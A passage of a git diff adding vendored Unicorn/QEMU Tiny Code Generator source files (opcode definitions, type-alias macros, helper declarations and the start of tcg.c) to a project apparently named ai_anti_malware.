tcg_gen_ld8u_i64 +#define tcg_gen_ld8s_tl tcg_gen_ld8s_i64 +#define tcg_gen_ld16u_tl tcg_gen_ld16u_i64 +#define tcg_gen_ld16s_tl tcg_gen_ld16s_i64 +#define tcg_gen_ld32u_tl tcg_gen_ld32u_i64 +#define tcg_gen_ld32s_tl tcg_gen_ld32s_i64 +#define tcg_gen_ld_tl tcg_gen_ld_i64 +#define tcg_gen_st8_tl tcg_gen_st8_i64 +#define tcg_gen_st16_tl tcg_gen_st16_i64 +#define tcg_gen_st32_tl tcg_gen_st32_i64 +#define tcg_gen_st_tl tcg_gen_st_i64 +#define tcg_gen_add_tl tcg_gen_add_i64 +#define tcg_gen_addi_tl tcg_gen_addi_i64 +#define tcg_gen_sub_tl tcg_gen_sub_i64 +#define tcg_gen_neg_tl tcg_gen_neg_i64 +#define tcg_gen_subfi_tl tcg_gen_subfi_i64 +#define tcg_gen_subi_tl tcg_gen_subi_i64 +#define tcg_gen_and_tl tcg_gen_and_i64 +#define tcg_gen_andi_tl tcg_gen_andi_i64 +#define tcg_gen_or_tl tcg_gen_or_i64 +#define tcg_gen_ori_tl tcg_gen_ori_i64 +#define tcg_gen_xor_tl tcg_gen_xor_i64 +#define tcg_gen_xori_tl tcg_gen_xori_i64 +#define tcg_gen_not_tl tcg_gen_not_i64 +#define tcg_gen_shl_tl tcg_gen_shl_i64 +#define tcg_gen_shli_tl tcg_gen_shli_i64 +#define tcg_gen_shr_tl tcg_gen_shr_i64 +#define tcg_gen_shri_tl tcg_gen_shri_i64 +#define tcg_gen_sar_tl tcg_gen_sar_i64 +#define tcg_gen_sari_tl tcg_gen_sari_i64 +#define tcg_gen_brcond_tl tcg_gen_brcond_i64 +#define tcg_gen_brcondi_tl tcg_gen_brcondi_i64 +#define tcg_gen_setcond_tl tcg_gen_setcond_i64 +#define tcg_gen_setcondi_tl tcg_gen_setcondi_i64 +#define tcg_gen_mul_tl tcg_gen_mul_i64 +#define tcg_gen_muli_tl tcg_gen_muli_i64 +#define tcg_gen_div_tl tcg_gen_div_i64 +#define tcg_gen_rem_tl tcg_gen_rem_i64 +#define tcg_gen_divu_tl tcg_gen_divu_i64 +#define tcg_gen_remu_tl tcg_gen_remu_i64 +#define tcg_gen_discard_tl tcg_gen_discard_i64 +#define tcg_gen_trunc_tl_i32 tcg_gen_trunc_i64_i32 +#define tcg_gen_trunc_i64_tl tcg_gen_mov_i64 +#define tcg_gen_extu_i32_tl tcg_gen_extu_i32_i64 +#define tcg_gen_ext_i32_tl tcg_gen_ext_i32_i64 +#define tcg_gen_extu_tl_i64 tcg_gen_mov_i64 +#define tcg_gen_ext_tl_i64 tcg_gen_mov_i64 +#define tcg_gen_ext8u_tl tcg_gen_ext8u_i64 +#define tcg_gen_ext8s_tl tcg_gen_ext8s_i64 +#define tcg_gen_ext16u_tl tcg_gen_ext16u_i64 +#define tcg_gen_ext16s_tl tcg_gen_ext16s_i64 +#define tcg_gen_ext32u_tl tcg_gen_ext32u_i64 +#define tcg_gen_ext32s_tl tcg_gen_ext32s_i64 +#define tcg_gen_bswap16_tl tcg_gen_bswap16_i64 +#define tcg_gen_bswap32_tl tcg_gen_bswap32_i64 +#define tcg_gen_bswap64_tl tcg_gen_bswap64_i64 +#define tcg_gen_concat_tl_i64 tcg_gen_concat32_i64 +#define tcg_gen_extr_i64_tl tcg_gen_extr32_i64 +#define tcg_gen_andc_tl tcg_gen_andc_i64 +#define tcg_gen_eqv_tl tcg_gen_eqv_i64 +#define tcg_gen_nand_tl tcg_gen_nand_i64 +#define tcg_gen_nor_tl tcg_gen_nor_i64 +#define tcg_gen_orc_tl tcg_gen_orc_i64 +#define tcg_gen_rotl_tl tcg_gen_rotl_i64 +#define tcg_gen_rotli_tl tcg_gen_rotli_i64 +#define tcg_gen_rotr_tl tcg_gen_rotr_i64 +#define tcg_gen_rotri_tl tcg_gen_rotri_i64 +#define tcg_gen_deposit_tl tcg_gen_deposit_i64 +#define tcg_const_tl tcg_const_i64 +#define tcg_const_local_tl tcg_const_local_i64 +#define tcg_gen_movcond_tl tcg_gen_movcond_i64 +#define tcg_gen_add2_tl tcg_gen_add2_i64 +#define tcg_gen_sub2_tl tcg_gen_sub2_i64 +#define tcg_gen_mulu2_tl tcg_gen_mulu2_i64 +#define tcg_gen_muls2_tl tcg_gen_muls2_i64 +#else +#define tcg_gen_movi_tl tcg_gen_movi_i32 +#define tcg_gen_mov_tl tcg_gen_mov_i32 +#define tcg_gen_ld8u_tl tcg_gen_ld8u_i32 +#define tcg_gen_ld8s_tl tcg_gen_ld8s_i32 +#define tcg_gen_ld16u_tl tcg_gen_ld16u_i32 +#define tcg_gen_ld16s_tl tcg_gen_ld16s_i32 +#define tcg_gen_ld32u_tl tcg_gen_ld_i32 +#define tcg_gen_ld32s_tl tcg_gen_ld_i32 +#define tcg_gen_ld_tl tcg_gen_ld_i32 +#define tcg_gen_st8_tl tcg_gen_st8_i32 +#define tcg_gen_st16_tl tcg_gen_st16_i32 +#define tcg_gen_st32_tl tcg_gen_st_i32 +#define tcg_gen_st_tl tcg_gen_st_i32 +#define tcg_gen_add_tl tcg_gen_add_i32 +#define tcg_gen_addi_tl tcg_gen_addi_i32 +#define tcg_gen_sub_tl tcg_gen_sub_i32 +#define tcg_gen_neg_tl tcg_gen_neg_i32 +#define tcg_gen_subfi_tl tcg_gen_subfi_i32 +#define tcg_gen_subi_tl tcg_gen_subi_i32 +#define tcg_gen_and_tl tcg_gen_and_i32 +#define tcg_gen_andi_tl tcg_gen_andi_i32 +#define tcg_gen_or_tl tcg_gen_or_i32 +#define tcg_gen_ori_tl tcg_gen_ori_i32 +#define tcg_gen_xor_tl tcg_gen_xor_i32 +#define tcg_gen_xori_tl tcg_gen_xori_i32 +#define tcg_gen_not_tl tcg_gen_not_i32 +#define tcg_gen_shl_tl tcg_gen_shl_i32 +#define tcg_gen_shli_tl tcg_gen_shli_i32 +#define tcg_gen_shr_tl tcg_gen_shr_i32 +#define tcg_gen_shri_tl tcg_gen_shri_i32 +#define tcg_gen_sar_tl tcg_gen_sar_i32 +#define tcg_gen_sari_tl tcg_gen_sari_i32 +#define tcg_gen_brcond_tl tcg_gen_brcond_i32 +#define tcg_gen_brcondi_tl tcg_gen_brcondi_i32 +#define tcg_gen_setcond_tl tcg_gen_setcond_i32 +#define tcg_gen_setcondi_tl tcg_gen_setcondi_i32 +#define tcg_gen_mul_tl tcg_gen_mul_i32 +#define tcg_gen_muli_tl tcg_gen_muli_i32 +#define tcg_gen_div_tl tcg_gen_div_i32 +#define tcg_gen_rem_tl tcg_gen_rem_i32 +#define tcg_gen_divu_tl tcg_gen_divu_i32 +#define tcg_gen_remu_tl tcg_gen_remu_i32 +#define tcg_gen_discard_tl tcg_gen_discard_i32 +#define tcg_gen_trunc_tl_i32 tcg_gen_mov_i32 +#define tcg_gen_trunc_i64_tl tcg_gen_trunc_i64_i32 +#define tcg_gen_extu_i32_tl tcg_gen_mov_i32 +#define tcg_gen_ext_i32_tl tcg_gen_mov_i32 +#define tcg_gen_extu_tl_i64 tcg_gen_extu_i32_i64 +#define tcg_gen_ext_tl_i64 tcg_gen_ext_i32_i64 +#define tcg_gen_ext8u_tl tcg_gen_ext8u_i32 +#define tcg_gen_ext8s_tl tcg_gen_ext8s_i32 +#define tcg_gen_ext16u_tl tcg_gen_ext16u_i32 +#define tcg_gen_ext16s_tl tcg_gen_ext16s_i32 +#define tcg_gen_ext32u_tl tcg_gen_mov_i32 +#define tcg_gen_ext32s_tl tcg_gen_mov_i32 +#define tcg_gen_bswap16_tl tcg_gen_bswap16_i32 +#define tcg_gen_bswap32_tl tcg_gen_bswap32_i32 +#define tcg_gen_concat_tl_i64 tcg_gen_concat_i32_i64 +#define tcg_gen_extr_i64_tl tcg_gen_extr_i64_i32 +#define tcg_gen_andc_tl tcg_gen_andc_i32 +#define tcg_gen_eqv_tl tcg_gen_eqv_i32 +#define tcg_gen_nand_tl tcg_gen_nand_i32 +#define tcg_gen_nor_tl tcg_gen_nor_i32 +#define tcg_gen_orc_tl tcg_gen_orc_i32 +#define tcg_gen_rotl_tl tcg_gen_rotl_i32 +#define tcg_gen_rotli_tl tcg_gen_rotli_i32 +#define tcg_gen_rotr_tl tcg_gen_rotr_i32 +#define tcg_gen_rotri_tl tcg_gen_rotri_i32 +#define tcg_gen_deposit_tl tcg_gen_deposit_i32 +#define tcg_const_tl tcg_const_i32 +#define tcg_const_local_tl tcg_const_local_i32 +#define tcg_gen_movcond_tl tcg_gen_movcond_i32 +#define tcg_gen_add2_tl tcg_gen_add2_i32 +#define tcg_gen_sub2_tl tcg_gen_sub2_i32 +#define tcg_gen_mulu2_tl tcg_gen_mulu2_i32 +#define tcg_gen_muls2_tl tcg_gen_muls2_i32 +#endif + +#if UINTPTR_MAX == UINT32_MAX +# define tcg_gen_ld_ptr(S, R, A, O) \ + tcg_gen_ld_i32(S, TCGV_PTR_TO_NAT(R), (A), (O)) +# define tcg_gen_discard_ptr(A) \ + tcg_gen_discard_i32(TCGV_PTR_TO_NAT(A)) +# define tcg_gen_add_ptr(S, R, A, B) \ + tcg_gen_add_i32(S, TCGV_PTR_TO_NAT(R), TCGV_PTR_TO_NAT(A), TCGV_PTR_TO_NAT(B)) +# define tcg_gen_addi_ptr(S, R, A, B) \ + tcg_gen_addi_i32(S, TCGV_PTR_TO_NAT(R), TCGV_PTR_TO_NAT(A), (B)) +# define tcg_gen_ext_i32_ptr(S, R, A) \ + tcg_gen_mov_i32(S, TCGV_PTR_TO_NAT(R), (A)) +#else +# define tcg_gen_ld_ptr(S, R, A, O) \ + tcg_gen_ld_i64(S, TCGV_PTR_TO_NAT(R), (A), (O)) +# define tcg_gen_discard_ptr(A) \ + tcg_gen_discard_i64(TCGV_PTR_TO_NAT(A)) +# define tcg_gen_add_ptr(S, R, A, B) \ + tcg_gen_add_i64(S, TCGV_PTR_TO_NAT(R), TCGV_PTR_TO_NAT(A), TCGV_PTR_TO_NAT(B)) +# define tcg_gen_addi_ptr(S, R, A, B) \ + tcg_gen_addi_i64(S, TCGV_PTR_TO_NAT(R), TCGV_PTR_TO_NAT(A), (B)) +# define tcg_gen_ext_i32_ptr(S, R, A) \ + tcg_gen_ext_i32_i64(S, TCGV_PTR_TO_NAT(R), (A)) +#endif /* UINTPTR_MAX == UINT32_MAX */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg-opc.h b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg-opc.h new file mode 100644 index 0000000..9df65bc --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg-opc.h @@ -0,0 +1,209 @@ +/* + * Tiny Code Generator for QEMU + * + * Copyright (c) 2008 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +/* + * DEF(name, oargs, iargs, cargs, flags) + */ + +/* predefined ops */ +DEF(end, 0, 0, 0, TCG_OPF_NOT_PRESENT) /* must be kept first */ +DEF(nop, 0, 0, 0, TCG_OPF_NOT_PRESENT) +DEF(nop1, 0, 0, 1, TCG_OPF_NOT_PRESENT) +DEF(nop2, 0, 0, 2, TCG_OPF_NOT_PRESENT) +DEF(nop3, 0, 0, 3, TCG_OPF_NOT_PRESENT) + +/* variable number of parameters */ +DEF(nopn, 0, 0, 1, TCG_OPF_NOT_PRESENT) + +DEF(discard, 1, 0, 0, TCG_OPF_NOT_PRESENT) +DEF(set_label, 0, 0, 1, TCG_OPF_BB_END | TCG_OPF_NOT_PRESENT) + +/* variable number of parameters */ +DEF(call, 0, 0, 3, TCG_OPF_CALL_CLOBBER | TCG_OPF_NOT_PRESENT) + +DEF(br, 0, 0, 1, TCG_OPF_BB_END) + +#ifdef _MSC_VER +#define IMPL(X) ((0 && !(X)) ? TCG_OPF_NOT_PRESENT : 0) +#else +#define IMPL(X) (__builtin_constant_p(X) && !(X) ? TCG_OPF_NOT_PRESENT : 0) +#endif + +#if TCG_TARGET_REG_BITS == 32 +# define IMPL64 TCG_OPF_64BIT | TCG_OPF_NOT_PRESENT +#else +# define IMPL64 TCG_OPF_64BIT +#endif + +DEF(mov_i32, 1, 1, 0, TCG_OPF_NOT_PRESENT) +DEF(movi_i32, 1, 0, 1, TCG_OPF_NOT_PRESENT) +DEF(setcond_i32, 1, 2, 1, 0) +DEF(movcond_i32, 1, 4, 1, IMPL(TCG_TARGET_HAS_movcond_i32)) +/* load/store */ +DEF(ld8u_i32, 1, 1, 1, 0) +DEF(ld8s_i32, 1, 1, 1, 0) +DEF(ld16u_i32, 1, 1, 1, 0) +DEF(ld16s_i32, 1, 1, 1, 0) +DEF(ld_i32, 1, 1, 1, 0) +DEF(st8_i32, 0, 2, 1, 0) +DEF(st16_i32, 0, 2, 1, 0) +DEF(st_i32, 0, 2, 1, 0) +/* arith */ +DEF(add_i32, 1, 2, 0, 0) +DEF(sub_i32, 1, 2, 0, 0) +DEF(mul_i32, 1, 2, 0, 0) +DEF(div_i32, 1, 2, 0, IMPL(TCG_TARGET_HAS_div_i32)) +DEF(divu_i32, 1, 2, 0, IMPL(TCG_TARGET_HAS_div_i32)) +DEF(rem_i32, 1, 2, 0, IMPL(TCG_TARGET_HAS_rem_i32)) +DEF(remu_i32, 1, 2, 0, IMPL(TCG_TARGET_HAS_rem_i32)) +DEF(div2_i32, 2, 3, 0, IMPL(TCG_TARGET_HAS_div2_i32)) +DEF(divu2_i32, 2, 3, 0, IMPL(TCG_TARGET_HAS_div2_i32)) +DEF(and_i32, 1, 2, 0, 0) +DEF(or_i32, 1, 2, 0, 0) +DEF(xor_i32, 1, 2, 0, 0) +/* shifts/rotates */ +DEF(shl_i32, 1, 2, 0, 0) +DEF(shr_i32, 1, 2, 0, 0) +DEF(sar_i32, 1, 2, 0, 0) +DEF(rotl_i32, 1, 2, 0, IMPL(TCG_TARGET_HAS_rot_i32)) +DEF(rotr_i32, 1, 2, 0, IMPL(TCG_TARGET_HAS_rot_i32)) +DEF(deposit_i32, 1, 2, 2, IMPL(TCG_TARGET_HAS_deposit_i32)) + +DEF(brcond_i32, 0, 2, 2, TCG_OPF_BB_END) + +DEF(add2_i32, 2, 4, 0, IMPL(TCG_TARGET_HAS_add2_i32)) +DEF(sub2_i32, 2, 4, 0, IMPL(TCG_TARGET_HAS_sub2_i32)) +DEF(mulu2_i32, 2, 2, 0, IMPL(TCG_TARGET_HAS_mulu2_i32)) +DEF(muls2_i32, 2, 2, 0, IMPL(TCG_TARGET_HAS_muls2_i32)) +DEF(muluh_i32, 1, 2, 0, IMPL(TCG_TARGET_HAS_muluh_i32)) +DEF(mulsh_i32, 1, 2, 0, IMPL(TCG_TARGET_HAS_mulsh_i32)) +DEF(brcond2_i32, 0, 4, 2, TCG_OPF_BB_END | IMPL(TCG_TARGET_REG_BITS == 32)) +DEF(setcond2_i32, 1, 4, 1, IMPL(TCG_TARGET_REG_BITS == 32)) + +DEF(ext8s_i32, 1, 1, 0, IMPL(TCG_TARGET_HAS_ext8s_i32)) +DEF(ext16s_i32, 1, 1, 0, IMPL(TCG_TARGET_HAS_ext16s_i32)) +DEF(ext8u_i32, 1, 1, 0, IMPL(TCG_TARGET_HAS_ext8u_i32)) +DEF(ext16u_i32, 1, 1, 0, IMPL(TCG_TARGET_HAS_ext16u_i32)) +DEF(bswap16_i32, 1, 1, 0, IMPL(TCG_TARGET_HAS_bswap16_i32)) +DEF(bswap32_i32, 1, 1, 0, IMPL(TCG_TARGET_HAS_bswap32_i32)) +DEF(not_i32, 1, 1, 0, IMPL(TCG_TARGET_HAS_not_i32)) +DEF(neg_i32, 1, 1, 0, IMPL(TCG_TARGET_HAS_neg_i32)) +DEF(andc_i32, 1, 2, 0, IMPL(TCG_TARGET_HAS_andc_i32)) +DEF(orc_i32, 1, 2, 0, IMPL(TCG_TARGET_HAS_orc_i32)) +DEF(eqv_i32, 1, 2, 0, IMPL(TCG_TARGET_HAS_eqv_i32)) +DEF(nand_i32, 1, 2, 0, IMPL(TCG_TARGET_HAS_nand_i32)) +DEF(nor_i32, 1, 2, 0, IMPL(TCG_TARGET_HAS_nor_i32)) + +DEF(mov_i64, 1, 1, 0, TCG_OPF_64BIT | TCG_OPF_NOT_PRESENT) +DEF(movi_i64, 1, 0, 1, TCG_OPF_64BIT | TCG_OPF_NOT_PRESENT) +DEF(setcond_i64, 1, 2, 1, IMPL64) +DEF(movcond_i64, 1, 4, 1, IMPL64 | IMPL(TCG_TARGET_HAS_movcond_i64)) +/* load/store */ +DEF(ld8u_i64, 1, 1, 1, IMPL64) +DEF(ld8s_i64, 1, 1, 1, IMPL64) +DEF(ld16u_i64, 1, 1, 1, IMPL64) +DEF(ld16s_i64, 1, 1, 1, IMPL64) +DEF(ld32u_i64, 1, 1, 1, IMPL64) +DEF(ld32s_i64, 1, 1, 1, IMPL64) +DEF(ld_i64, 1, 1, 1, IMPL64) +DEF(st8_i64, 0, 2, 1, IMPL64) +DEF(st16_i64, 0, 2, 1, IMPL64) +DEF(st32_i64, 0, 2, 1, IMPL64) +DEF(st_i64, 0, 2, 1, IMPL64) +/* arith */ +DEF(add_i64, 1, 2, 0, IMPL64) +DEF(sub_i64, 1, 2, 0, IMPL64) +DEF(mul_i64, 1, 2, 0, IMPL64) +DEF(div_i64, 1, 2, 0, IMPL64 | IMPL(TCG_TARGET_HAS_div_i64)) +DEF(divu_i64, 1, 2, 0, IMPL64 | IMPL(TCG_TARGET_HAS_div_i64)) +DEF(rem_i64, 1, 2, 0, IMPL64 | IMPL(TCG_TARGET_HAS_rem_i64)) +DEF(remu_i64, 1, 2, 0, IMPL64 | IMPL(TCG_TARGET_HAS_rem_i64)) +DEF(div2_i64, 2, 3, 0, IMPL64 | IMPL(TCG_TARGET_HAS_div2_i64)) +DEF(divu2_i64, 2, 3, 0, IMPL64 | IMPL(TCG_TARGET_HAS_div2_i64)) +DEF(and_i64, 1, 2, 0, IMPL64) +DEF(or_i64, 1, 2, 0, IMPL64) +DEF(xor_i64, 1, 2, 0, IMPL64) +/* shifts/rotates */ +DEF(shl_i64, 1, 2, 0, IMPL64) +DEF(shr_i64, 1, 2, 0, IMPL64) +DEF(sar_i64, 1, 2, 0, IMPL64) +DEF(rotl_i64, 1, 2, 0, IMPL64 | IMPL(TCG_TARGET_HAS_rot_i64)) +DEF(rotr_i64, 1, 2, 0, IMPL64 | IMPL(TCG_TARGET_HAS_rot_i64)) +DEF(deposit_i64, 1, 2, 2, IMPL64 | IMPL(TCG_TARGET_HAS_deposit_i64)) + +DEF(trunc_shr_i32, 1, 1, 1, + IMPL(TCG_TARGET_HAS_trunc_shr_i32) + | (TCG_TARGET_REG_BITS == 32 ? TCG_OPF_NOT_PRESENT : 0)) + +DEF(brcond_i64, 0, 2, 2, TCG_OPF_BB_END | IMPL64) +DEF(ext8s_i64, 1, 1, 0, IMPL64 | IMPL(TCG_TARGET_HAS_ext8s_i64)) +DEF(ext16s_i64, 1, 1, 0, IMPL64 | IMPL(TCG_TARGET_HAS_ext16s_i64)) +DEF(ext32s_i64, 1, 1, 0, IMPL64 | IMPL(TCG_TARGET_HAS_ext32s_i64)) +DEF(ext8u_i64, 1, 1, 0, IMPL64 | IMPL(TCG_TARGET_HAS_ext8u_i64)) +DEF(ext16u_i64, 1, 1, 0, IMPL64 | IMPL(TCG_TARGET_HAS_ext16u_i64)) +DEF(ext32u_i64, 1, 1, 0, IMPL64 | IMPL(TCG_TARGET_HAS_ext32u_i64)) +DEF(bswap16_i64, 1, 1, 0, IMPL64 | IMPL(TCG_TARGET_HAS_bswap16_i64)) +DEF(bswap32_i64, 1, 1, 0, IMPL64 | IMPL(TCG_TARGET_HAS_bswap32_i64)) +DEF(bswap64_i64, 1, 1, 0, IMPL64 | IMPL(TCG_TARGET_HAS_bswap64_i64)) +DEF(not_i64, 1, 1, 0, IMPL64 | IMPL(TCG_TARGET_HAS_not_i64)) +DEF(neg_i64, 1, 1, 0, IMPL64 | IMPL(TCG_TARGET_HAS_neg_i64)) +DEF(andc_i64, 1, 2, 0, IMPL64 | IMPL(TCG_TARGET_HAS_andc_i64)) +DEF(orc_i64, 1, 2, 0, IMPL64 | IMPL(TCG_TARGET_HAS_orc_i64)) +DEF(eqv_i64, 1, 2, 0, IMPL64 | IMPL(TCG_TARGET_HAS_eqv_i64)) +DEF(nand_i64, 1, 2, 0, IMPL64 | IMPL(TCG_TARGET_HAS_nand_i64)) +DEF(nor_i64, 1, 2, 0, IMPL64 | IMPL(TCG_TARGET_HAS_nor_i64)) + +DEF(add2_i64, 2, 4, 0, IMPL64 | IMPL(TCG_TARGET_HAS_add2_i64)) +DEF(sub2_i64, 2, 4, 0, IMPL64 | IMPL(TCG_TARGET_HAS_sub2_i64)) +DEF(mulu2_i64, 2, 2, 0, IMPL64 | IMPL(TCG_TARGET_HAS_mulu2_i64)) +DEF(muls2_i64, 2, 2, 0, IMPL64 | IMPL(TCG_TARGET_HAS_muls2_i64)) +DEF(muluh_i64, 1, 2, 0, IMPL(TCG_TARGET_HAS_muluh_i64)) +DEF(mulsh_i64, 1, 2, 0, IMPL(TCG_TARGET_HAS_mulsh_i64)) + +/* QEMU specific */ +#if TARGET_LONG_BITS > TCG_TARGET_REG_BITS +DEF(debug_insn_start, 0, 0, 2, TCG_OPF_NOT_PRESENT) +#else +DEF(debug_insn_start, 0, 0, 1, TCG_OPF_NOT_PRESENT) +#endif +DEF(exit_tb, 0, 0, 1, TCG_OPF_BB_END) +DEF(goto_tb, 0, 0, 1, TCG_OPF_BB_END) + +#define TLADDR_ARGS (TARGET_LONG_BITS <= TCG_TARGET_REG_BITS ? 1 : 2) +#define DATA64_ARGS (TCG_TARGET_REG_BITS == 64 ? 1 : 2) + +DEF(qemu_ld_i32, 1, TLADDR_ARGS, 2, + TCG_OPF_CALL_CLOBBER | TCG_OPF_SIDE_EFFECTS) +DEF(qemu_st_i32, 0, TLADDR_ARGS + 1, 2, + TCG_OPF_CALL_CLOBBER | TCG_OPF_SIDE_EFFECTS) +DEF(qemu_ld_i64, DATA64_ARGS, TLADDR_ARGS, 2, + TCG_OPF_CALL_CLOBBER | TCG_OPF_SIDE_EFFECTS | TCG_OPF_64BIT) +DEF(qemu_st_i64, 0, TLADDR_ARGS + DATA64_ARGS, 2, + TCG_OPF_CALL_CLOBBER | TCG_OPF_SIDE_EFFECTS | TCG_OPF_64BIT) + +#undef TLADDR_ARGS +#undef DATA64_ARGS +#undef IMPL +#undef IMPL64 +#undef DEF diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg-runtime.h b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg-runtime.h new file mode 100644 index 0000000..23a0c37 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg-runtime.h @@ -0,0 +1,16 @@ +DEF_HELPER_FLAGS_2(div_i32, TCG_CALL_NO_RWG_SE, s32, s32, s32) +DEF_HELPER_FLAGS_2(rem_i32, TCG_CALL_NO_RWG_SE, s32, s32, s32) +DEF_HELPER_FLAGS_2(divu_i32, TCG_CALL_NO_RWG_SE, i32, i32, i32) +DEF_HELPER_FLAGS_2(remu_i32, TCG_CALL_NO_RWG_SE, i32, i32, i32) + +DEF_HELPER_FLAGS_2(div_i64, TCG_CALL_NO_RWG_SE, s64, s64, s64) +DEF_HELPER_FLAGS_2(rem_i64, TCG_CALL_NO_RWG_SE, s64, s64, s64) +DEF_HELPER_FLAGS_2(divu_i64, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(remu_i64, TCG_CALL_NO_RWG_SE, i64, i64, i64) + +DEF_HELPER_FLAGS_2(shl_i64, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(shr_i64, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(sar_i64, TCG_CALL_NO_RWG_SE, s64, s64, s64) + +DEF_HELPER_FLAGS_2(mulsh_i64, TCG_CALL_NO_RWG_SE, s64, s64, s64) +DEF_HELPER_FLAGS_2(muluh_i64, TCG_CALL_NO_RWG_SE, i64, i64, i64) diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg.c b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg.c new file mode 100644 index 0000000..679836a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg.c @@ -0,0 +1,2764 @@ +/* + * Tiny Code Generator for QEMU + * + * Copyright (c) 2008 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +/* define it to use liveness analysis (better code) */ +#define USE_LIVENESS_ANALYSIS +#define USE_TCG_OPTIMIZATIONS + +#include "config.h" + +/* Define to jump the ELF file used to communicate with GDB. */ +#undef DEBUG_JIT + +#if !defined(CONFIG_DEBUG_TCG) && !defined(NDEBUG) +/* define it to suppress various consistency checks (faster) */ +#define NDEBUG +#endif + +#include "qemu-common.h" +#include "qemu/host-utils.h" +#include "qemu/timer.h" + +/* Note: the long term plan is to reduce the dependencies on the QEMU + CPU definitions. Currently they are used for qemu_ld/st + instructions */ +#define NO_CPU_IO_DEFS +#include "cpu.h" + +#include "tcg-op.h" + +#if UINTPTR_MAX == UINT32_MAX +# define ELF_CLASS ELFCLASS32 +#else +# define ELF_CLASS ELFCLASS64 +#endif +#ifdef HOST_WORDS_BIGENDIAN +# define ELF_DATA ELFDATA2MSB +#else +# define ELF_DATA ELFDATA2LSB +#endif + +#include "elf.h" + +/* Forward declarations for functions declared in tcg-target.c and used here. */ +static void tcg_target_init(TCGContext *s); +static void tcg_target_qemu_prologue(TCGContext *s); +static void patch_reloc(tcg_insn_unit *code_ptr, int type, + intptr_t value, intptr_t addend); + +/* The CIE and FDE header definitions will be common to all hosts. */ +typedef struct { + //uint32_t QEMU_ALIGN(sizeof(void *), len); + uint32_t QEMU_ALIGN(8, len); + uint32_t id; + uint8_t version; + char augmentation[1]; + uint8_t code_align; + uint8_t data_align; + uint8_t return_column; +} DebugFrameCIE; + +QEMU_PACK( typedef struct { +// uint32_t QEMU_ALIGN(sizeof(void *), len); + uint32_t QEMU_ALIGN(8, len); + uint32_t cie_offset; + uintptr_t func_start; + uintptr_t func_len; +}) DebugFrameFDEHeader; + +QEMU_PACK( typedef struct { + DebugFrameCIE cie; + DebugFrameFDEHeader fde; +}) DebugFrameHeader; + +/* Forward declarations for functions declared and used in tcg-target.c. */ +static int target_parse_constraint(TCGArgConstraint *ct, const char **pct_str); +static void tcg_out_ld(TCGContext *s, TCGType type, TCGReg ret, TCGReg arg1, + intptr_t arg2); +static void tcg_out_mov(TCGContext *s, TCGType type, TCGReg ret, TCGReg arg); +static void tcg_out_movi(TCGContext *s, TCGType type, + TCGReg ret, tcg_target_long arg); +static void tcg_out_op(TCGContext *s, TCGOpcode opc, const TCGArg *args, + const int *const_args); +static void tcg_out_st(TCGContext *s, TCGType type, TCGReg arg, TCGReg arg1, + intptr_t arg2); +static void tcg_out_call(TCGContext *s, tcg_insn_unit *target); +static int tcg_target_const_match(tcg_target_long val, TCGType type, + const TCGArgConstraint *arg_ct); +static void tcg_out_tb_init(TCGContext *s); +static void tcg_out_tb_finalize(TCGContext *s); + + +TCGOpDef tcg_op_defs_org[] = { +#define DEF(s, oargs, iargs, cargs, flags) { #s, oargs, iargs, cargs, iargs + oargs + cargs, flags }, +#include "tcg-opc.h" +#undef DEF +}; + +#if TCG_TARGET_INSN_UNIT_SIZE == 1 +static QEMU_UNUSED_FUNC inline void tcg_out8(TCGContext *s, uint8_t v) +{ + *s->code_ptr++ = v; +} + +static QEMU_UNUSED_FUNC inline void tcg_patch8(tcg_insn_unit *p, + uint8_t v) +{ + *p = v; +} +#endif + +#if TCG_TARGET_INSN_UNIT_SIZE <= 2 +static 